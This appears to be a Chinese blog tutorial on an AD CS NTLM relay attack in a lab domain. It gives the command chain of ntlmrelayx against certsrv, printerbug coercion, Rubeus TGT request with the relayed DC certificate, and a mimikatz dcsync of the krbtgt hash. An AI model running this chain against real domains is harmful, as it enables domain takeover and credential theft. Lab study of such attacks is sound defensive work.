【域渗透】AD CS relay attack

一、漏洞简单介绍:

adcs支持几种基于HTTP的通过管理员可以安装的其他AD CS服务器角色功能。这些基于http的证书注册接口都是易受攻击的NTLM中继攻击,因为没有启用NTLM中继保护,而且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此更安全的协议(如 Kerberos)无法使用。

二、环境部署及介绍

(不一定需要辅dc,任意域内机器安装adcs即可)

角色 IP 系统信息
攻击机 192.168.237.131 Kali
DC主机 192.168.237.22 win2012R2
辅DC 192.168.237.24 win2012R2

 

 

 

 

 

PS:不能relay自身否则脚本会报错

在dc辅控上装上adcs(这里我主dc也装了),勾选1,4默认安装即可

同时看一下dc和dc辅控是否在domain computers组里面,不在就自己加入即可,否则会利用失败

  

三、漏洞利用

域内定位ca机器:certutil -config - -ping

安装impacket旧版本没有adcs命令:https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack

攻击机器开启监听:python3 ntlmrelayx.py  -t http://192.168.237.22/certsrv/certfnsh.asp -smb2support --adcs

利用任意的触发机器账号认证,使辅域进行强连回来,这里使用的是打印机服务:python printerbug.py domain/user:password@192.168.237.22 192.168.237.131

ntlmrelayx成功进行relay,并获取到证书信息

利用上面获取到的证书,获取tgt并注入:

Rubeus.exe asktgt /user:DC$ /certificate:MIIRFQIBAzCCEN8G /ppt

出现了如何下报错:KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP

这里解决打开组策略,计算机配置\Windows 设置\安全设置\本地策略\安全选项,找到配置 Kerberos 允许的加密类型,将下面全部勾选即可

 

再次重新测试发现成功获取到了TGT

 然后利用mimikatz,进行导出hash:KERBEROS::List lsadump::dcsync /user:krbtgt

 

补充:获取TGT的时候遇到的是KRB-ERROR (62) : KDC_ERR_CLIENT_NOT_TRUSTED这种报错,有可能是时间不同步的原因,可重启环境重新测试。

 

参考链接:

https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

https://mp.weixin.qq.com/s/wW94EiPiOmJsWeFR64Dg1A

posted @ 2021-07-28 14:44  aoaoaoao  阅读(1614)  评论(0编辑  收藏  举报